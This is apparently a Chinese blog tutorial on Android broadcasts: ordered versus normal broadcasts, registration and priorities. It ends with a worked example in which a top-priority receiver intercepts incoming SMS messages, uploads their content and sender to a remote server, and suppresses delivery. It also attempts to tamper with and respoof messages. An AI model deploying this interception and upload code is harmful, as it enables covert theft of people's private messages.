今天来看一下Android中的广播机制,我们知道广播Broadcast是Android中的四大组件之一,可见他的重要性了,当然它的用途也很大的,比如一些系统的广播:电量低、开机、锁屏等一些操作都会发送一个广播,具体的Android系统中的广播可以参见我的另外一篇博客:http://blog.csdn.net/jiangwei0910410003/article/details/17218985.

下面就来详细讲解一下广播机制:

广播被分为两种不同的类型:“普通广播(Normal broadcasts)”和“有序广播(Ordered broadcasts)”。普通广播是完全异步的,可以在同一时刻(逻辑上)被所有广播接收者接收到,消息传递的效率比较高,但缺点是:接收者不能将处理结果传递给下一个接收者,并且无法终止广播Intent的传播;然而有序广播是按照接收者声明的优先级别(声明在intent-filter元素的android:priority属性中,数越大优先级别越高,取值范围:-1000到1000。也可以调用IntentFilter对象的setPriority()进行设置),被接收者依次接收广播。如:A的级别高于B,B的级别高于C,那么,广播先传给A,再传给B,最后传给C。A得到广播后,可以往广播里存入数据,当广播传给B时,B可以从广播中得到A存入的数据。

Context.sendBroadcast()

发送的是普通广播,所有订阅者都有机会获得并进行处理。

Context.sendOrderedBroadcast()

发送的是有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者,前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast()),如果广播被前面的接收者终止,后面的接收者就再也无法获取到广播。对于有序广播,前面的接收者可以将处理结果存放进广播Intent,然后传给下一个接收者。

广播接收者(BroadcastReceiver)用于接收广播Intent,广播Intent的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast()来实现的。通常一个广播Intent可以被订阅了此Intent的多个广播接收者所接收,这个特性跟JMS中的Topic消息接收者类似。要实现一个广播接收者方法如下:

第一步:定义广播接收者,继承BroadcastReceiver,并重写onReceive()方法。

public class IncomingSMSReceiver extendsBroadcastReceiver {
@Override public void onReceive(Contextcontext, Intentintent) {
}
}

第二步:订阅感兴趣的广播Intent,订阅方法有两种:

第一种:使用代码进行订阅(动态订阅)

IntentFilter filter = newIntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = newIncomingSMSReceiver();
registerReceiver(receiver, filter);

第二种:在AndroidManifest.xml文件中的<application>节点里进行订阅(静态订阅)

<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>

下面看一下动态广播订阅和静态广播订阅的却别:

静态订阅广播又叫:常驻型广播,当你的应用程序关闭了,如果有广播信息来,你写的广播接收器同样的能接受到,他的注册方式就是在你的应用程序中的AndroidManifast.xml进行订阅的。

动态订阅广播又叫:非常驻型广播,当应用程序结束了,广播自然就没有了,比如你在activity中的onCreate或者onResume中订阅广播,同时你必须在onDestory或者onPause中取消广播订阅。不然会报异常,这样你的广播接收器就一个非常驻型的了。

这里面还有一个细节那就是这两种订阅方式,在发送广播的时候需要注意的是:动态注册的时候使用的是隐式intent方式的,所以在发送广播的时候需要使用隐式Intent去发送,不然是广播接收者是接收不到广播的,这一点要注意。但是静态订阅的时候,因为在AndroidMainfest.xml中订阅的,所以在发送广播的时候使用显示Intent和隐式Intent都可以(当然这个只针对于我们自己定义的广播接收者),所以以防万一,我们一般都采用隐式Intent去发送广播。

下面看一下例子:

看一下项目结构:

看一下静态订阅广播:

package com.broadcast.demo;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button; import com.example.androidbroadcastdemo.R; /**
* 静态订阅广播
* @author weijiang204321
*
*/
public class StaticRegisterBroadcastActivity extends Activity { @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button btn = (Button)findViewById(R.id.btn); btn.setOnClickListener(new OnClickListener(){
@Override
public void onClick(View v) {
//使用静态的方式注册广播,可以使用显示意图进行发送广播
Intent broadcast = new Intent("com.broadcast.set.broadcast");
sendBroadcast(broadcast,null);
} });
} }

在AndroidMainfest.xml中订阅:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.androidbroadcastdemo"
android:versionCode="1"
android:versionName="1.0" > <uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="18" /> <!-- 权限 -->
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" /> <application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.broadcast.demo.StaticRegisterBroadcastActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity> <!-- 无序广播注册START -->
<receiver android:name="com.broadcast.receiver.UnSortBroadcastReceiver">
<intent-filter >
<action android:name="com.broadcast.demo.mybroadcast"/>
</intent-filter>
</receiver>
<!-- 无序广播注册END --> <!-- 有序广播的注册START -->
<receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">
<intent-filter android:priority="999">
<action android:name="com.broadcast.set.broadcast"/>
</intent-filter>
</receiver> <!-- 接收短信广播 -->
<receiver android:name="com.broadcast.receiver.SortBroadcastReceiverB">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
<!-- 有序广播的注册END --> <!-- 上传短信内容的Service -->
<service android:name="com.broadcast.service.UploadSMSService">
<intent-filter >
<action android:name="com.broadcast.service.uploadsmsservice"/>
</intent-filter>
</service> </application> </manifest>

先不要管其他的内容了,后面会讲到,这里只关注静态广播的注册

<!-- 无序广播注册START  -->
<receiver android:name="com.broadcast.receiver.UnSortBroadcastReceiver">
<intent-filter >
<action android:name="com.broadcast.demo.mybroadcast"/>
</intent-filter>
</receiver>
<!-- 无序广播注册END -->

下面来看一下广播的接收者:

package com.broadcast.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log; /**
* 广播接收者
* @author weijiang204321
*
*/
public class UnSortBroadcastReceiver extends BroadcastReceiver { @Override
public void onReceive(Context context, Intent intent) {
Log.e("Intent_Action:",intent.getAction()+"");
} }

在广播接收者中的onReceive方法中的逻辑很简单,就是打印Action的内容。

运行程序,结果很简单,这里就不上图片了。

下面来看一下动态订阅:

package com.broadcast.demo;

import android.app.Activity;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button; import com.broadcast.receiver.UnSortBroadcastReceiver;
import com.example.androidbroadcastdemo.R; /**
* 使用动态的方式注册广播
* @author weijiang204321
*
*/
public class DynamicRegisterBroadcastActivity extends Activity { public static final String NEW_LIFEFORM_DETECTED = "com.dxz.broadcasttest.NEW_LIFEFORM";
protected UnSortBroadcastReceiver receiver; @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button btn0 = (Button) findViewById(R.id.btn);
btn0.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
//发送广播
Intent it = new Intent(NEW_LIFEFORM_DETECTED);
sendBroadcast(it);
}
});
} @Override
protected void onResume() {
super.onResume();
//注册广播
IntentFilter counterActionFilter = new IntentFilter(NEW_LIFEFORM_DETECTED);
receiver = new UnSortBroadcastReceiver();
registerReceiver(receiver, counterActionFilter);
} @Override
protected void onPause() {
super.onPause();
//取消广播
unregisterReceiver(receiver);
}
}

这里我们是在onResume中进行订阅广播,在onPause中取消订阅广播。

AndroidMainfest.xml中将启动的Activity改成DynamicRegisterBroadcastActivity,其他的内容不需要修改,运行程序,打印结果很简单,这里就不上图了。

下面来看一下有序广播和无序广播

这个我们在开始的时候已经说到了,下面来看一下无序广播:

首先我们定义两个广播接收者:

第一个广播接收者:

package com.broadcast.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log; /**
* 广播接收者A
* @author weijiang204321
*
*/
public class SortBroadcastReceiverA extends BroadcastReceiver{ @Override
public void onReceive(Context context, Intent intent) {
Log.e("Demo:","广播接收者A");
} }

第二个广播接收者:

package com.broadcast.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log; /**
* 广播接收者B
* @author weijiang204321
*
*/
public class SortBroadcastReceiverB extends BroadcastReceiver{ @Override
public void onReceive(Context context, Intent intent) {
Log.e("Demo:","广播B");
} }

在AndroidMainfest.xml中订阅广播

 <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">
<intent-filter android:priority="999">
<action android:name="com.broadcast.set.broadcast"/>
</intent-filter>
</receiver> <receiver android:name="com.broadcast.receiver.SortBroadcastReceiverB">
<intent-filter android:priority="1000">
<action android:name="com.broadcast.set.broadcast"/>
</intent-filter>
</receiver>

运行结果:

运行结果有点奇怪,为什么是接收者B在前面,接收者A在后面,原因就是我们在AndroidMainfest.xml中订阅广播的时候在intent-filter设置了android:priority属性值,值越大优先级越高,接收者B的优先级是1000,接收者A的优先级是999,所以是B先接收到广播,然后A才接收到,但是接收者B和接收者A之间没有联系,也不能有交互的,因为是这是无序广播,是异步的,我们可以做个试验就是在B中的onReceiver方法中添加代码:

abortBroadcast();//终止此次广播的传输

运行结果:

我们可以看到提示错误,就是non-ordered broadcast无序广播不允许终止广播,其实终止也没有用,因为接收者A还是接收到广播了。

下面来看一下有序广播,代码需要做一下修改:

首先是在发送广播的时候:

Intent broadcast = new Intent("com.broadcast.set.broadcast");
sendOrderedBroadcast(broadcast,null);

然后在B接收者中的添加终止广播的方法:

abortBroadcast();

其他的代码不需要修改,运行结果:

只有B接收者了,A接收者没有接收到广播了,因为在B接收者中将广播给终止了,后面的接收者都接受不到了。

下面在修改一下代码:

接收者B:

package com.broadcast.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log; /**
* 广播接收者B
* @author weijiang204321
*
*/
public class SortBroadcastReceiverB extends BroadcastReceiver{ @Override
public void onReceive(Context context, Intent intent) {
Log.e("Demo:","广播接收者B");
Bundle bundle = new Bundle();
bundle.putString("next_receiver", "下一个广播接收者");
setResultExtras(bundle);
} }

B接收到广播后,存入一些值,传给下一个接收者。

接收者A的代码:

package com.broadcast.receiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log; /**
* 广播接收者A
* @author weijiang204321
*
*/
public class SortBroadcastReceiverA extends BroadcastReceiver{ @Override
public void onReceive(Context context, Intent intent) {
Log.e("Demo:","广播接收者A");
Bundle bundle = getResultExtras(true);
String content = bundle.getString("next_receiver");
Log.e("Demo:",content+""); } }

运行结果如下:

接收者A收到了上一个接收者B传递的信息,这个信息可以保留到后面的所有接收者,直到广播终止。

上面讲到的就是有序广播的特点,可以看出是一个同步的动作,接收者之间可以进行数据的交互(上一个传递数据给下一个),也可以控制广播的终止。

下面来做一个案例就是网上很多人弄过的:短信拦截

系统在收到短信的时候,会发送一个:android.provider.Telephony.SMS_RECEIVED这样的广播,而且这是一个有序的广播,所以我们就可以拦截了这条短信,因为系统中的短信接收者的订阅优先级不是1000最高的,所以我们可以自己定义一个短信接收者,将订阅优先级设置成1000,这样我们就可以最先获取到短信内容,然后将截取到知道号码的短信内容上传到服务器上进行保存,然后终止广播。让系统接收不到这条短信。

这里面我们还需要了解的技术就是短信内容的获取,这个我们在代码中解释:

下面来看一下我们定义的短信接收者:

package com.broadcast.receiver;

import java.text.SimpleDateFormat;
import java.util.Date;
import android.annotation.SuppressLint;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
import com.broadcast.service.UploadSMSService; /**
* 广播接收者A
* @author weijiang204321
*
*/
public class SortBroadcastReceiverA extends BroadcastReceiver{ @SuppressLint("SimpleDateFormat")
@Override
public void onReceive(Context context, Intent intent) {
//获取短信的相关信息,使用字段pdus
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
StringBuilder content = new StringBuilder();
String receiveTime = "";
String senderNumber = "";
for(Object p : pdus){
byte[] pdu = (byte[]) p;
SmsMessage message = SmsMessage.createFromPdu(pdu);
content.append(message.getMessageBody());
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
receiveTime = format.format(date);
senderNumber = message.getOriginatingAddress();
} Log.e("Demo:","上传短信内容是:"+content.toString());
Log.e("Demo:","接收短信的时间是"+receiveTime);
Log.e("Demo:","发送短信的号码是:"+senderNumber); //拦截的号码是:18910958627,注意前面还有+86是中国地区的编号
if("+8618910958627".equals(senderNumber)){
//拦截成功 ,上传信息
Intent service = new Intent(context,UploadSMSService.class);
service.putExtra("content", content.toString());
service.putExtra("receiveTime",receiveTime);
service.putExtra("senderNumber", senderNumber);
context.startService(service);
} } }

在onReceive方法中我们通过intent中的Bundle获取短信的相关信息。

下面在看一下上传短信信息的服务Service:

package com.broadcast.service;

import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder; import android.app.Service;
import android.content.Intent;
import android.os.IBinder; /**
* 上传短信内容的service
* @author weijiang204321
*
*/
public class UploadSMSService extends Service{ @Override
public IBinder onBind(Intent intent) {
return null;
} @Override
public int onStartCommand(Intent intent, int flags, int startId) {
//获取短信内容和接收时间,发送者的号码
final String content = intent.getStringExtra("content");
final String receiveTime = intent.getStringExtra("receiveTime");
final String senderNumber = intent.getStringExtra("senderNumber"); new Thread(){
@Override
public void run(){
sendSMS(content,receiveTime,senderNumber);
//上传完成之后就结束service
stopSelf();
}
}.start(); return super.onStartCommand(intent, flags, startId);
} /**
* 上传短信内容
* @param content
* @param receiveTime
* @param senderNumber
* @return
*/
private boolean sendSMS(String content, String receiveTime, String senderNumber) {
try{
String params = "content="+ URLEncoder.encode(content, "UTF-8")+"&receivetime="+ receiveTime+ "&sendernumber="+ senderNumber;
byte[] entity = params.getBytes();
String path = "http://10.2.86.33:8080/ReceiveSMSContent/ReceiveSMSServlet";
HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
conn.setConnectTimeout(5000);
conn.setRequestMethod("POST");
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
conn.getOutputStream().write(entity);
if(conn.getResponseCode() == 200){
return true;
}
}catch (Exception e) {
e.printStackTrace();
}
return false;
} }

这个服务的逻辑也很简单的,在获取到短信信息的时候,将内容进行上传。

最后不能忘了在AndroidMainfest.xml中添加权限:

<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>

订阅短信广播:

<receiver android:name="com.broadcast.receiver.SortBroadcastReceiverA">
<intent-filter android:priority="999">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>

当然这里还需要有一个短信内容的接收服务端,在服务端定义一个Servlet来接受数据,具体的服务端的环境搭建,自己上网搜索相关资料进行搭建:

package com.servlet.receivesms;

import java.io.IOException;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; public class ReceiveSMSServlet extends HttpServlet{ private static final long serialVersionUID = 1L; @Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {
req.setCharacterEncoding("utf-8");
String content = req.getParameter("content");
String receiveTime = req.getParameter("receivetime");
String phoneNumber = req.getParameter("sendernumber");
System.out.println("发送内容:"+content);
System.out.println("发送时间:"+receiveTime);
System.out.println("发送号码:"+phoneNumber);
super.doGet(req, resp);
} @Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)throws ServletException, IOException {
super.doPost(req, resp);
} }

测试结果,客户端拦截的号码是18910958627,注意前面有+86是中国区域的编码,服务端接收数据为:

这样就表示截取短信内容成功,并且成功上传到服务器上了。

对于上面的短信拦截的功能还有待加强,就是现在想把短信的内容拦截下来,进行篡改,然后再发给下一个接收者?

方案一:在我们定义的短信广播接收者中,我们能够从intent中的Bundle中通过key="pdus"来获取短信内容的,那么我们可以自己从新组建一个新的Bundle,在这个Bundle中存入我们篡改的信息,然后替换之前的Bundle

问题:实施了,但是问题是Bundle是替换不了的,不知道是什么原因?



方案二:由于第一种方案的失败,导致了我从新想到一个方案就是截取短信内容之后,终止此次广播,然后发送一条短信,这时候短信的内容为我们篡改的内容,但是这里需要注意的是,要做判断,因为我们定义的短信接收者的优先级最高,所以我们发送篡改后的短信又被我们的短信接收者给拦截了,但是我们是不想这样的,所以要做个判断,这个很简单的,使用SharePerenced存入一个boolean值就行了。

问题:本来以为这种方案是完美了,但是问题是发送信息的时候,系统提供的方法中的参数是:接收者号码,发送者号码,短信内容,还有其他的参数就不解释了,这很简单呀,我们现在正好需要这三个参数,立马传递进去,结果是收取不到短信,查看文档,发现那个发送者号码的参数是短信服务中心的号码(也不知道什么意思),当把它设置成null的时候短信就可以发出去了,但是设置成null的话,就不能说是谁发的短信了没有意义呀!

现在很纠结,问题还没有解决,如果有哪位大神有好的方法,请说明,小弟不慎感激!

总结:

在Android中,程序的响应(Responsive)被活动管理器(ActivityManager)和窗口管理器(Window Manager)这两个系统服务所监视。当BroadcastReceiver在10秒内没有执行完毕,Android会认为该程序无响应。所以在BroadcastReceiver里不能做一些比较耗时的操作,否侧会弹出ANR(Application No Response)的对话框。如果需要完成一项比较耗时的工作,应该通过发送Intent给Service,由Service来完成。而不是使用子线程的方法来解决,因为BroadcastReceiver的生命周期很短(在onReceive()执行后BroadcastReceiver
的实例就会被销毁),子线程可能还没有结束BroadcastReceiver就先结束了。如果BroadcastReceiver结束了,它的宿主进程还在运行,那么子线程还会继续执行。但宿主进程此时很容易在系统需要内存时被优先杀死,因为它属于空进程(没有任何活动组件的进程)。

public class IncomingSMSReceiver extendsBroadcastReceiver {
@Override public void onReceive(Contextcontext, Intentintent) {
//发送Intent启动服务,由服务来完成比较耗时的操作
Intent service =new Intent(context,XxxService.class);
context.startService(service);
}
}

每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive() 方法。

所以上面的短信内容上传到服务器上的逻辑功能不能在广播中执行,需要开启一个服务进行上传。

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